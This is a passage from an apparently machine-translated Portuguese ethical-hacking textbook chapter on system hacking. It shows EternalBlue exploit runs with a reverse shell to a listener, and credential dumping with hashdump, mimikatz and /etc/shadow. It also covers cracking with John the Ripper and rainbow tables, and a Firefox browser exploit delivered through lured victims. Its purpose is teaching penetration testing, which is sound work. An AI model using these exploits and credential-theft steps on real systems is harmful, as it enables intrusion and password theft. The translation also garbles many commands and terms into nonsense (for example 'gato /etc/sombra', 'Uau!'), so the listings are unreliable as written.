[*] 192.168.86.24:445 - Enviando último fragmento do pacote de exploração!
[*] 192.168.86.24:445 - Recebendo resposta do pacote de exploração
[+] 192.168.86.24:445 - Substituição do ETERNALBLUE concluída com sucesso (0xC000000D)!
[*] 192.168.86.24:445 - Enviando ovo para conexão corrompida.
[*] 192.168.86.24:445 - Disparo livre de buffer corrompido.
[*] Sessão de shell de comando 1 aberta (192.168.86.57:4444 -> 192.168.86.24:50371) em 2018-08-31 19:52:40 -0600
[+] 192.168.86.24:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-=-=-=-=-=-=-=
[+] 192.168.86.24:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.86.24:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-=-=-=-=-=-=-=
57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32
30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20
37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63
6b 20 31
Servidor Windows 2
008 R2 Padrão
Pacote de serviço 7601
k 1
Nem toda vulnerabilidade é tão bem-sucedida quanto esta. Quando você busca um módulo, você
obtém uma classificação que indica o quão bem-sucedida a exploração provavelmente será.
Vulnerabilidades nem sempre são diretas. Em alguns casos, pode haver dependências que precisam estar
em vigor antes que a vulnerabilidade possa ser explorada. Você pode precisar tentar a exploração várias
vezes antes que ela tenha sucesso. Se fosse fácil e direto, afinal, todos seriam capazes de fazê-lo, o que
pode significar que mais testes de segurança estão sendo feitos, o que por sua vez pode levar a menos
bugs no software.
Comprometimento do sistema 243
Explorar-DB
Você pode pesquisar exploit-db.com para exploits associados a vulnerabilidades. Por exemplo, estávamos
trabalhando com o exploit EternalBlue, que sabemos que tem um módulo no Metasploit. Podemos
pesquisar exploit-db.com para módulos relacionados à vulnerabilidade EternalBlue. Na Figura 7.2, você
pode ver os resultados dessa pesquisa. Isso mostra três resultados que se enquadram em categorias
relacionadas ao Windows. Todos esses são scripts Python de prova de conceito que você pode baixar e
executar.
figura 7. 2Resultados da pesquisa Exploit-DB
Se você tiver o pacote Exploit-DB instalado no seu sistema, ou seja, você tem o searchsploit para usar,
você pode simplesmente executar o searchsploit para fazer a mesma pesquisa. O repositório Exploit-DB
inclui exploits e shellcodes, então os resultados não incluem artigos como os que você obtém do site. Em
vez disso, você obtém apenas a lista de códigos de exploit. Além disso, você não precisa baixar ou olhar o
código em um navegador da web porque você já tem o código baixado. Na listagem de código a seguir,
você pode ver os resultados da pesquisa. O que obtemos é a lista de três programas de exploit, mas
nenhum resultado de shellcode. Isso não é especialmente surpreendente porque não há shellcode
especialmente associado ao EternalBlue. Em vez disso, é apenas uma vulnerabilidade na implementação do
protocolo Server Message Block (SMB).
resultados do searchsploit para eternalBlue
root@quiche:~# searchsploit "azul eterno"
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Título da exploração | Caminho
| (/usr/share/exploitdb/)
- ...
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Shellcodes: Nenhum resultado
244 Capítulo 7 - Hacking de sistema
Você pode executar esse exploit de onde ele está ou copiá-lo para seu diretório home e executá-lo
de lá. Isso evitará que você passe o caminho para o script Python ao executá-lo. Também permitirá
que você faça alterações, se quiser experimentar, enquanto deixa o código de exploit funcional
intacto onde está. Na próxima listagem de código, você verá uma execução de 42031.py, atacando o
mesmo sistema que fizemos do Metasploit. O último parâmetro na linha de comando é o código
executável no arquivo chamado payload. Esta é uma combinação de duas partes separadas de código
executável. O primeiro é o shellcode escrito pelo autor do exploit Python. No final disso, há um
programa stub que envia uma conexão de volta para um sistema que o escuta.
Um exploit é o meio para uma entidade externa fazer com que um programa falhe de
uma forma que permita ao invasor controlar o fluxo da execução do programa. Só
fazer com que o programa falhe, no entanto, não é o suficiente. Você precisa de
algum código seu para que o programa execute em seu nome. Este é o shellcode,
assim chamado porque normalmente fornece um shell para o invasor. Isso significa
que o invasor tem uma maneira de interagir diretamente com o sistema operacional.
exploração de eternalBlue do script python
root@quiche:~# python 42031.py 192.168.86.24 tamanho do
shellcode da carga útil: 1262
numGroomConn: 13
SO de destino: Windows Server 2008 R2 Standard 7601 Service Pack 1 configuração
de sessão SMB1 aloca pool não paginado com sucesso
Configuração de sessão SMB1 aloca pool não paginado com
sucesso, resposta boa, status: INVALID_PARAMETER
feito
Esta é apenas metade do ataque. O que você vê aqui é o exploit sendo executado com sucesso,
acionando a vulnerabilidade e fazendo com que o serviço remoto execute o shellcode fornecido. O
shellcode aqui é um arquivo executável criado a partir do código da linguagem assembly. Ele inclui um shell
Meterpreter e uma maneira de se conectar devolta ao sistema para o qual foi configurado para retornar a
chamada. Isso requer que você também tenha um listener configurado. Voltamos ao msfconsole
novamente para isso. Na listagem a seguir, você pode ver o carregamento do módulo listener, definindo a
porta de escuta e o endereço IP. Quando o exploit for executado no alvo, você também verá a conexão com
o listener.
manipulador de exploração
msf > usar exploit/multi/handler
msf exploit(multi/handler) > definir LHOST 192.168.86.57
LHOST => 192.168.86.57
msf exploit(multi/handler) > definir LPORT 4444
LPORT => 4444
msf exploit(multi/manipulador) > exploit
Coletando senhas 245
Isso nos dá a capacidade de interagir com o sistema remoto usando o Meterpreter, que é uma
linguagem de shell agnóstica do sistema operacional. Ele tem vários comandos que podem ser executados
no sistema de destino, independentemente do sistema operacional que o sistema de destino tenha. O
Meterpreter traduz os comandos passados a ele em comandos específicos para o sistema operacional
subjacente. Isso pode incluir listar arquivos, alterar diretórios, carregar arquivos e coletar informações do
sistema, como senhas.
Coletando senhas
Depois de ter um sistema explorado, você vai querer começar a reunir informações sobre ele. Um tipo de
informação são as senhas no sistema. Existem algumas maneiras de reunir essas senhas. Na listagem de
código anterior, obtivemos um shell Meterpreter em um sistema de destino. Nem todos os exploits no
Metasploit podem produzir um shell Meterpreter, mas se pudermos obter um, temos um aliado poderoso
na coleta de informações e na execução do trabalho pós-exploração. Usando o Meterpreter, podemos
reunir informações sobre o sistema para sabermos o que estamos obtendo como dados de senha. O
comandoinformação do sistemanos dirá o nome do sistema, bem como o sistema operacional. Isso nos diz
que vamos olhar para os hashes do LAN Manager quando pegarmos as senhas. Podemos fazer isso usando
ohashdumpcomando, que você pode ver na listagem a seguir.
obtendo senhas com meterpreter
Computador
SO
Arquitetura
Idioma do sistema: en_US
Domínio : GRUPO DE TRABALHO
Usuários conectados: 2
Meterpreter : x86/janelas
meterpreter > hashdump
Administrador:500:ed174b89559f980793e287acb8bf6ba6:5f7277b8635625ad2d2d551867124dbd:::
ASPNET:1003:5b8cce8d8be0d65545aefda15894afa0:227510be54d4e5285f3537a22e855dfc:::
Convidado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Assistente de ajuda:1000:7e86e0590641f80063c81f86ee9efa9c:ef449e873959d4b1536660525657047d:::
SUPORTE_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:2e54afff1eaa6b62fc0649b715104187:::
: WUBBLE-C765F2
: Windows XP (versão 2600, Service Pack 2).
: x86
O hashdump fornece o nome de usuário, o identificador do usuário e o valor hash da senha.
Precisaremos disso quando for preciso quebrar a senha. Essas credenciais serão úteis à medida
que continuamos nos movendo pela rede. As credenciais podem ser úteis para vulnerabilidades
adicionais, ou pelo menos com diferentes programas de teste e módulos Metasploit.
246 Capítulo 7 - Hacking de sistema
Esta não é a única maneira de obtermos hashes de senha, no entanto. Há um módulo chamado mimikatz
que pode ser usado. Ainda precisamos do Meterpreter, então podemos carregar o módulo mimikatz para
usá-lo. Na listagem a seguir, você pode ver o carregamento do mimikatz e, em seguida, a extração dos
hashes de senha. Você pode ver os resultados da execuçãomsv,que faz uso do pacote de autenticação MSV
para extrair os hashes para os usuários. Também podemos usar mimikatz para ver se o provedor de suporte
de segurança (SSP) tem credenciais. Finalmente, usamos mimikatz para extrair hashes do SSP ativo.
Somente o pacote de autenticação MSV produziu resultados para nós neste sistema.
obtendo senhas com mimikatz
meterpreter > carregar mimikatz Carregando
extensão mimikatz...Sucesso. meterpreter >
msv
[+] Executando como SYSTEM
[*] Recuperando credenciais msv
credenciais msv
===============
ID de autenticação
- - - - - -
Pacote
- - - - - - -
NTLM
Domínio
- - - - - -
VAGRANT-2008R2
Usuário
- - - -
vagabundo
Senha
- - - - - - - -
eu{0;293526
5229b7f52540641daad3b435b51404ee }, ntlm{ e02bc503339d51f71d913c245d35b50b }
0;96746 NTLM Servidor sshd VAGRANT-2008R2 eu{
e501ddc244ad2c14829b15382fe04c64 }, ntlm{ 8d0a16cfc061c3359db455d00ec27035 }
0;996
0;997
0;20243
0;999
Negociar
Negociar
NTLM
NTLM
GRUPO DE TRABALHO
AUTORIDADE DO NT
VAGRANT-2008R2$
SERVIÇO LOCAL
ns (Credenciais KO)
ns (Credenciais KO)
ns (Credenciais KO)
ns (Credenciais KO)GRUPO DE TRABALHO VAGRANT-2008R2$
medidorpreter > ssp
[+] Executando como SYSTEM
[*] Recuperando credenciais ssp
credenciais ssp
===============
Pacote AuthID Domínio Usuário Senha
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
meterpreter > livesp
[+] Executando como SYSTEM
[*] Recuperando credenciais livesp
Coletando senhas 247
credenciais livesp
===================
ID de autenticação
- - - - - -
0;996
0;997
0;293526
0;96746
0;20243
0;999
Pacote
- - - - - - -
Negociar
Negociar
NTLM
NTLM
NTLM
NTLM
Domínio
- - - - - -
GRUPO DE TRABALHO
AUTORIDADE DO NT
VAGRANT-2008R2
VAGRANT-2008R2
Usuário
- - - -
VAGRANT-2008R2$
SERVIÇO LOCAL
vagabundo
servidor sshd
Senha
- - - - - - - -
na (vidassp KO)
na (vidassp KO)
na (vidassp KO)
na (vidassp KO)
na (vidassp KO)
na (vidassp KO)GRUPO DE TRABALHO VAGRANT-2008R2$
Quando comprometemos um sistema Linux, não podemos usar hashdump, mas ainda queremos
pegar as senhas. Podemos obter um shell diretamente de um exploit ou, se usarmos uma carga útil
do Meterpreter, podemos cair para um shell. É aqui que seríamos capazes de acessar as senhas. No
código a seguir, você pode ver a queda para um shell do Meterpreter. A partir daí, podemos
simplesmente usargatopara imprimir o conteúdo do /etc/sombraarquivo. Precisamos ter acesso root
para ver o conteúdo do arquivo shadow. Você pode ver executandoUau!que ganhamos acesso como
root. Se você quiser coletar senhas de um exploit que não lhe dá acesso root, você precisará
encontrar uma escalada de privilégios.
Acesso de shell para /etc/sombra
meterpreter > concha
Processo 1 criado.
Canal 1 criado.
Uau!
raiz
gato /etc/sombra
raiz:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7::: sys:
$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
jogos:*:14684:0:99999:7:::
homem:*:14684:0:99999:7:::
lp:*:14684:0:99999:7:::
correio:*:14684:0:99999:7:::
notícias:*:14684:0:99999:7:::
uucp:*:14684:0:99999:7:::
proxy:*:14684:0:99999:7::: www-
data:*:14684:0:99999:7:::
backup:*:14684:0:99999:7:::
lista:*:14684:0:99999:7:::
248 Capítulo 7 - Hacking de sistema
Você notará que não há prompt, o que pode dificultar a distinção dos comandos da
saída. Na saída, o primeiro comando éUau!para demonstrar que o usuário logado é root.
Depois disso, você pode ver o comandogato /etc/sombrae então a saída desse comando. A
maioria dos usuários mostrados não tem senhas. Apenas root e sys parecem ter senhas
nessa saída. Embora o meio de obter as senhas mostradas aqui seja diferente do
Windows, elas também são hashes.
Os hashes de senha são gerados usando um algoritmo de hash diferente no Linux do que no
Windows. Em ambos os casos, porém, você pode usar os hashes para executar um programa de
quebra de senha.
Quebra de senha
Hashes de senha não nos fazem muito bem. Você nunca é solicitado a passar um hash de senha
quando está autenticando. O hash é então gerado cada vez que uma senha é inserida por um
usuário. O hash resultante é então comparado com o hash armazenado. Passar o hash resultaria em
hash, então o hash resultante dessa computação não corresponderia ao que foi armazenado. A
única maneira de corresponder ao hash armazenado é usar a senha, ou pelo menos usar um valor
que gere o mesmo resultado de hash. Quando se trata de quebrar senhas, estamos tentando
identificar um valor quegere o hash criptográfico.
É tecnicamente possível que duas strings separadas gerem o mesmo hash. Como só
nos importamos com os hashes sendo iguais, não importa se o que entra é realmente
a senha. Quando dois valores produzem o mesmo hash, isso é chamado de colisão.
Uma boa maneira de evitar colisões é ter um espaço maior para os valores do hash.
Um algoritmo de hash que produz 256 bits como saída tem ordens de magnitude mais
valores de hash potenciais do que um que gera apenas 128 bits. A questão das
colisões é às vezes chamada de paradoxo do aniversário, que se relaciona à
probabilidade estatística de duas pessoas em uma sala terem o mesmo aniversário
(mês e dia). Para que haja uma probabilidade de 50 por cento de que duas pessoas
tenham o mesmo aniversário, você precisa de apenas 23 pessoas na sala. Com 70
pessoas, é uma probabilidade de 99,9 por cento. No entanto, não chegamos a 100 por
cento de probabilidade até termos 366 pessoas.
João, o Estripador
Uma ferramenta comum usada para quebrar senhas é John the Ripper. John é uma ótima ferramenta offline
para quebrar senhas, o que significa que funciona em arquivos que foram obtidos de sua fonte original. Ele
tem diferentes modos que podem ser usados para quebrar senhas. O primeiro, que você verá na próxima
listagem de código, é conhecido como modo de quebra única. O modo de quebra única pega informações
de diferentes campos no arquivo, aplicando regras de deformação a eles, para tentar como senhas. Como a
lista de entradas é comparativamente pequena, há extensas
Quebra de senha 249
regras de confusão para variar o texto de origem para gerar senhas potenciais. Este é considerado o modo mais
rápido que John tem para quebrar senhas. É também o modo que os desenvolvedores de John recomendam que
você comece.
Modo de crack único de John
root@quiche:~# john senhas.txt
Aviso: tipo de hash detectado "LM", mas a string também é reconhecida como "NT" Use a
opção "--format=NT" para forçar o carregamento como esse tipo Aviso: tipo de hash
detectado "LM", mas a string também é reconhecida como "NT-old" Use a opção "--
format=NT-old" para forçar o carregamento como esse tipo Usando codificação de entrada
padrão: UTF-8
Usando codificação de destino padrão: CP850
Carregou 8 hashes de senha sem sais diferentes (LM [DES 128/128 SSE2-16]) Pressione 'q'
ou Ctrl-C para abortar, quase qualquer outra tecla para status
(SUPORTE_388945a0)
(Convidado)
(Administrador:1)
(Assistente de Ajuda:2)
BLANDES
KSUHCP9
John também pode pegar listas de palavras no modo de lista de palavras. Este é um modo direto que pega uma
lista de palavras como entrada, comparando o hash de cada palavra com o hash da senha. Você pode aplicar regras
de confusão à sua lista de palavras, o que gerará variantes nas palavras, já que as pessoas geralmente usam
variações de palavras conhecidas como suas senhas. Quanto maior for sua lista de palavras, maior será a chance de
você quebrar senhas. No entanto, quanto maior for sua lista de palavras, mais tempo levará para quebrar a senha.
Tenha em mente que as listas de palavras identificarão apenas senhas que estão na lista de palavras. Se alguém
estiver usando uma senha longa ou caracteres realmente aleatórios, usar uma lista de palavras não ajudará. Isso
significa que você precisa tentar outro modo.
Finalmente, John usa o modo incremental para tentar todas as combinações possíveis de caracteres. Para
executar esse modo, no entanto, John precisa ser informado sobre quais caracteres tentar. Podem ser todos os
caracteres ASCII, todos os caracteres maiúsculos, todos os números e assim por diante. Você também precisará
informar a John o tamanho da senha. Devido ao número de variantes possíveis, esse modo precisará ser
interrompido porque John não consegue passar por todas as variantes em um tempo razoável, a menos que você
tenha especificado um tamanho de senha curto.
Esta execução de John foi contra senhas do Windows, conforme coletadas do hashdump no Meterpreter. Se
você quiser trabalhar com senhas do Linux, há uma etapa adicional que você precisa fazer. Nos primeiros dias do
Unix, do qual o Linux é derivado, havia um único arquivo onde as informações do usuário e as senhas eram
armazenadas. O problema com isso era que havia informações que os usuários comuns precisavam obter daquele
arquivo, o que significava que as permissões tinham que ser tais que qualquer um pudesse lê-las. Como as senhas
eram armazenadas lá, isso era um problema. Qualquer um poderia ler os hashes e obter as senhas desses hashes
usando estratégias de cracking. Como resultado, as informações públicas eram armazenadas em um arquivo, ainda
chamado passwd para compatibilidade com versões anteriores, enquanto as senhas e as informações necessárias
que as acompanhavam, como os nomes de usuário e IDs de usuário, eram armazenadas em outro arquivo, o
arquivo shadow.
250 Capítulo 7 - Hacking de sistema
Podemos combinar os dois arquivos para que todas as informações necessárias estejam juntas e consolidadas
usando o programa unshadow. Isso mescla as informações no arquivo shadow e no arquivo passwd. Aqui, você
pode ver uma execução do unshadow com um arquivo shadow capturado e um arquivo passwd.
usando unshadow
root@quiche:~# unshadow senha.local sombra.local
raiz:$6$yCc28ASu$WmFwkvikDeKL4VtJgEnYcD.PXG.4UixCikBO5jBvE3JjV43nLsfpB1z57qwL
h0SNo15m5JfyQWEMhLjRv4rRO.:0:0:raiz:/raiz:/bin/bash
daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:*:2:2:bin:/bin:/usr/sbin/nologin
sys:*:3:3:sys:/dev:/usr/sbin/nologin sincronização:*:4:65534:sync:/bin:/
bin/sync jogos:*:5:60:games:/usr/games :/usr/sbin/nologin
man:*:6:12:man:/var/cache/man:/usr/sbin/nologin lp:*:7:7:lp:/var/spool/
lpd:/usr/ sbin/nologin mail:*:8:8:mail:/var/mail:/usr/sbin/nologin
news:*:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:* :10:10:uucp:/
var/spool/uucp:/usr/sbin/nologin proxy:*:13:13:proxy:/bin:/usr/sbin/
nologin www-data:*:33:33:www-data:/var/www:/usr/sbin/nologin
backup:*:34: 34:backup:/var/backups:/usr/sbin/nologin
list:*:38:38:Gerenciador de lista de discussão:/var/list:/usr/sbin/nologin
irc:*:39:39:ircd:/var /executar/ircd:/usr/sbin/nologin
gnats:*:41:41:Sistema de relatórios de erros do Gnats (admin):/var/lib/gnats:/usr/sbin/
nologin
Como visto, a maioria dos usuários não tem senhas. O único usuário com uma senha aqui
é o usuário root. Depois de mesclar os dois arquivos usando o unshadow, você pode
executar John nele para obter a senha. John identificará o formato do arquivo e o algoritmo
de hash usado para gerá-lo. Essas informações são armazenadas no arquivo. O $6$ no início
da senha indica que a senha foi hash usando o algoritmo de hash seguro com 512 bits para a
saída (SHA-512). O que vem depois disso é a senha hash com a qual John estará
comparando. John, no entanto, não é a única maneira de obter senhas de arquivos locais.
Mesas de arco-íris
Para cada senha testada usando John, você tem que calcular o hash para testar. Isso leva tempo e poder
computacional. Com os processadores de hoje, o tempo e o poder computacional necessários não são um
grande problema, além de somarem. Microssegundos por palavra ao longo de milhões de palavras
adicionam tempo. É mais fácil pré-calcular os hashes antes de executar suas verificações. Tudo o que você
precisa fazer então é procurar o hash em um índice e recuperar o
Quebra de senha 251
texto simples que foi usado para criar esse hash. Todo o trabalho demorado é feito bem antes de
você precisar quebrar senhas. Há uma troca, é claro. Pré-computar hashes significa que você
precisa armazená-los em algum lugar.
As tabelas Rainbow são os hashes pré-computados armazenados. A tabela Rainbow não é tão direta
quanto apenas um mapeamento entre um hash e uma senha. As tabelas Rainbow são armazenadas em
cadeias para limitar o número de senhas de texto simples armazenadas. Em alguns casos, o texto simples
pode ser inferido se não for armazenado diretamente. Existem muitas ferramentas que podem ser usadaspara procurar senhas nessas tabelas, mas primeiro precisamos das tabelas. O projeto Rainbow Crack tem
uma ferramenta para procurar a senha, bem como uma ferramenta que criará a tabela Rainbow. Esta
ferramenta de criação não é usada para gerar hashes de listas de palavras. Em vez disso, ela gerará um
hash de todos os valores de senha possíveis dentro das restrições fornecidas. No código a seguir, você verá
o uso de rtgen para gerar uma tabela Rainbow.
usando rtgen para tabelas rainbow
root@quiche:~# rtgen md5 loweralpha-numeric 5 8 0 3800 33554432 0 rainbow table
md5_loweralpha-numeric#5-8_0_3800x33554432_0.rt parâmetros algoritmo de hash:
comprimento do hash:
nome do conjunto de caracteres:
dados do conjunto de caracteres:
md5
16
alfanumérico inferior
abcdefghijklmnopqrstuvwxyz0123456789
61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73dados do conjunto de caracteres em hexadecimal:
74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39
comprimento do conjunto de caracteres: 36
intervalo de comprimento do texto simples: 5 - 8
redução de deslocamento:
total em texto simples:
0x00000000
2901711320064
ponto de partida sequencial começa em 0 (0x00000000000000000)
gerando...
131072 de 33554432 cadeias de arco-íris geradas (0 m 28,5 s)
262144 de 33554432 cadeias de arco-íris geradas (0 m 28,5 s)
393216 de 33554432 cadeias de arco-íris geradas (0 m 28,5 s)
524288 de 33554432 cadeias de arco-íris geradas (0 m 28,5 s)
655360 de 33554432 cadeias de arco-íris geradas (0 m 28,5 s)
786432 de 33554432 cadeias de arco-íris geradas (0 m 28,5 s)
917504 de 33554432 cadeias de arco-íris geradas (0 m 28,5 s)
1048576 de 33554432 cadeias de arco-íris geradas (0 m 28,5 s)
1179648 de 33554432 cadeias de arco-íris geradas (0 m 28,5 s)
1310720 de 33554432 cadeias de arco-íris geradas (0 m 28,5 s)
1441792 de 33554432 cadeias de arco-íris geradas (0 m 28,5 s)
1572864 de 33554432 cadeias de arco-íris geradas (0 m 28,6 s)
252 Capítulo 7 - Hacking de sistema
Você notará os parâmetros passados para o rtgen. O primeiro é o algoritmo de hash usado.
Neste caso, é o Message Digest 5 (MD5), um algoritmo de hash comumente usado. O algoritmo de
hash usado na tabela rainbow tem que corresponder ao usado no arquivo de senha. Se eles não
corresponderem, você não encontrará o hash ou a senha. O próximo parâmetro é o conjunto de
caracteres que deve ser usado para gerar as senhas. Estamos usando letras minúsculas e também
números. Isso nos dá 36 caracteres possíveis em cada posição. Isso produz 36̂não valores, ondenãoé
o número de posições. Se estivéssemos tentando gerar senhas de quatro caracteres, teríamos
36*36*36*36 senhas possíveis, o que é 1.679.616 — quase 2 milhões de senhas de quatro caracteres.
Precisamos dizer ao rtgen o tamanho que queremos que nossas senhas tenham. Os
próximos dois valores na linha de comando são o tamanho mínimo e o tamanho máximo da
senha. Para nossos propósitos, estamos gerando senhas que têm entre cinco e oito caracteres.
Isso significa um total de 36 5̂ + 36̂ 6 + 36 7̂ + 36 8̂ senhas. Isso nos dá 2,8 * 10 1̂2 como o
número de senhas. Obviamente, quanto mais tamanhos de senha assumirmos, mais senhas
teremos que gerar e maior será nossa saída.
O próximo valor seleciona uma função, interna ao rtgen, que é usada para mapear os hashes para texto
simples. Isso é chamado de função de redução. Os próximos dois valores têm a ver com as cadeias rainbow. O
primeiro é o número de cadeias geradas. Quanto mais cadeias geradas, mais dados são armazenados no disco,
porque isso significa que mais texto simples é armazenado. O valor depois disso é o número de cadeias a serem
geradas. Uma tabela rainbow é uma coleção de cadeias, onde cada cadeia tem 16 bytes. Finalmente, o último
valor se relaciona com a capacidade de armazenar uma grande tabela rainbow em vários arquivos. Para fazer
isso, mantenha todos os outros parâmetros iguais e altere esse valor.
Uma vez que temos uma tabela rainbow, podemos verificar o arquivo de senha que temos contra ela.
Você pode ver uma execução do programa rcrack na próxima listagem de código. Não houve resultados
dessa execução porque as tabelas rainbow que foram usadas eram muito limitadas. Para ter o suficiente em
termos de tabelas rainbow para realmente quebrar senhas, precisaríamos de pelo menos gigabytes, se não
terabytes ou mais. Há dois parâmetros aqui. O primeiro é a localização das tabelas rainbow, que é um ponto
(.) aqui, significando o diretório local. O segundo diz ao rcrack que o arquivo fornecido é um conjunto de
hashes LAN Man.
executando rcrack com tabelas de arco-íris
root@quiche:~# rcrack . -lm passwords.txt 1 tabelas
rainbow encontradas
nenhum hash encontrado
resultado
Uma coisa a ser notada aqui com relação à localização das tabelas rainbow é que elas não são
realmente armazenadas no diretório de onde o rcrack é executado. Em vez disso, as tabelas
rainbow são armazenadas em /usr/compartilhar/rainbowcrackno sistema Kali do qual isso foi
executado. Quando você executa rtgen, a tabela é armazenada naquele diretório porque é onde os
binários estão localizados. O diretório atual nesta instância é o diretório onde rcrack está, em vez
do diretório onde o usuário está.
Vulnerabilidades do lado do cliente 253
Vulnerabilidades do lado do cliente
Claro, serviços de escuta não são a única maneira de obter acesso aos sistemas. Na verdade, eles nem são
necessariamente a melhor maneira. Parte disso depende do que, como um invasor, você está procurando.
Os invasores podem estar procurando por recursos de computação e rede. Pode ser que qualquer sistema
fique bem como resultado. Isso significa que mais sistemas são melhores, e geralmente há mais desktops
do que servidores. Os usuários também são geralmente um caminho mais fácil para o sistema. Isso pode
exigir vulnerabilidades do lado do cliente, ou seja, vulnerabilidades que existem no desktop que não são
expostas ao mundo externo sem interação do cliente. Por exemplo, pode haver uma vulnerabilidade em
um cliente de e-mail. Um invasor pode acionar essa vulnerabilidade, não sondando o exterior do sistema
de desktop, mas enviando e-mail para uma vítima. A vítima no sistema cliente abre o e-mail, a
vulnerabilidade é acionada e o invasor obtém acesso ao sistema.
Os navegadores da Web são vetores de ataque convenientes, por vários motivos. Um deles é que eles são um
dos aplicativos mais comumente usados. Nem todo mundo usa mais clientes de e-mail como Outlook ou
Thunderbird, embora os clientes de e-mail já tenham sido muito usados. Muitas pessoas usam um navegador da
Web para acessar seus e-mails. Os navegadores são usados para tantas outras funções comuns, a ponto de
poderem ser o único aplicativo que algumas pessoas usam. Pense no Chrome OS e no Chromebook que o executa
como exemplos. O Chrome OS usa o navegador como interface do usuário. Como o Chrome OS começou a vida
como um cliente da Web fino, a maioria dos aplicativos que você executará no Chrome OS são executados dentro
de um contexto de navegador.
Outro fator que torna o navegador um alvo legal é que simplesmente não há muitos navegadores em
uso. Dados de algumas fontes diferentes mostram que o Chrome é, de longe, o navegador predominante
em uso no mundo. Isso é seguido, de longe, por navegadores como Internet Explorer, Firefox, Safari e Edge.
Como resultado, se você puder encontrar uma vulnerabilidade que afete o Chrome no Windows, você estará
no dinheiro. O problema com isso é que o Google tende a ser extremamente diligente quando se trata de
encontrar e corrigir vulnerabilidades. Não há nenhuma vulnerabilidade no Metasploit para Chrome. No
entanto, outros navegadores têm módulos associados a eles. Um exemplo é uma vulnerabilidade no Firefox
no MacOS. Aqui você pode ver o carregamento deste módulo no msfconsole.
módulo de exploração do firefox no msfconsole
msf > usar exploit/osx/browser/mozilla_mchannel
msf exploit(osx/browser/mozilla_mchannel) > mostrar opções
Opções domódulo (exploit/osx/browser/mozilla_mchannel):
Nome
- - - -
Configuração atual
- - - - - - - - - - - - - - -
0.0.0.0
Obrigatório
- - - - - - - -
sim
Descrição
- - - - - - - - - - -
O host local para ouvir. Este deve ser um endereço noSRVHOST
máquina local ou 0.0.0.0
PORTARIA SRV
SSL
8080
falso
sim
não
A porta local para ouvir.
Negociar SSL para conexões de entrada
254 Capítulo 7 - Hacking de sistema
módulo de exploração do firefox no msfconsole(continua)
Certificado SSL
URIPATH
não
não
Caminho para um certificado SSL personalizado (o padrão é gerado aleatoriamente)
O URI a ser usado para esta exploração (o padrão é aleatório)
Alvo de exploração:
Eu ia
- -
0
Nome
- - - -
Firefox 3.6.16 no Mac OS X (10.6.6, 10.6.7, 10.6.8, 10.7.2 e 10.7.3)
msf exploit(osx/navegador/mozilla_mchannel) > exploração
[*] Exploit em execução como tarefa em segundo plano 0.
[*] Iniciado manipulador TCP reverso em 192.168.86.62:4444
msf exploit(osx/browser/mozilla_mchannel) > [*] Usando URL: http://0.0.0.0:8080/4ZhKAQwCLkOt
[*] IP local: http://192.168.86.62:8080/4ZhKAQwCLkOt
[*] Servidor iniciado.
Você verá algumas coisas aqui. Este exploit inicia um servidor. Isso significa que você precisa
indicar em qual endereço IP o servidor deve estar escutando, bem como a porta. Por padrão, o
servidor estará escutando em 0.0.0.0, o que significa todos os endereços IP no sistema. Você
também pode especificar a porta. Escutar em portas com números menores que 1024 requer
privilégios administrativos. Por padrão, o módulo escuta na porta 8080. Quando o servidor inicia,
uma URL é gerada aleatoriamente, embora você possa fornecer uma nas opções, se preferir.
Assim que o servidor inicia, o módulo fornece a URL.
Iniciar o exploit também cria um listener, esperado para manipular a conexão de retorno do
sistema alvo. A conexão de retorno vem da carga útil que é entregue ao alvo quando ele faz a
conexão, se a vulnerabilidade for explorada. Isso significa que você precisa obter a URL para seu
alvo. Existem várias maneiras de fazer isso, incluindo enviar e-mail com a URL oculta, já que uma URL
que inclui elementos como :8080 e uma sequência aleatória pode ser suspeita. Isso não quer dizer
que você precisa usar a sequência aleatória ou a porta incomum. Você também pode criar um link
em uma página da web que espera que seus alvos visitem regularmente. A URL pode ser carregada
automaticamente colocando-a em um elemento de página como uma tag IMG. Um navegador que
encontrar essa tag emitirá uma solicitação GET para a URL fornecida.
Depois que você faz sua vítima visitar a URL, o navegador dela faz uma solicitação que é manipulada
pelo Metasploit. O módulo deve enviar o código de exploração para o navegador. Se a exploração for bem-
sucedida, ele deve disparar uma conexão de volta para o manipulador que a exploração iniciou. O que
você receberá de volta dessa conexão é um shell no sistema. Como a exploração é contra um sistema
MacOS (OSX), e o MacOS usa um sistema operacional semelhante ao Unix e
Pós-exploração 255
userland, o que você receberá de volta é um Bash shell onde você pode enviar comandos. Este exploit em
particular não suporta um payload Meterpreter.
Obter acesso ao sistema é apenas uma parte do que um invasor faria, então é apenas uma
parte do que você faria como um hacker ético. Obter acesso é apenas um começo.
Pós-exploração
Agora você tem uma posição no sistema. O que você pode fazer com isso depende do que você
comprometeu. Você pode ter permissões limitadas se o serviço remoto que você comprometeu tiver
permissões limitadas. Você só pode executar tarefas para as quais você tem permissão. Isso significa que
você pode precisar escalar seus privilégios para um usuário com mais do que você tem. Obter permissões
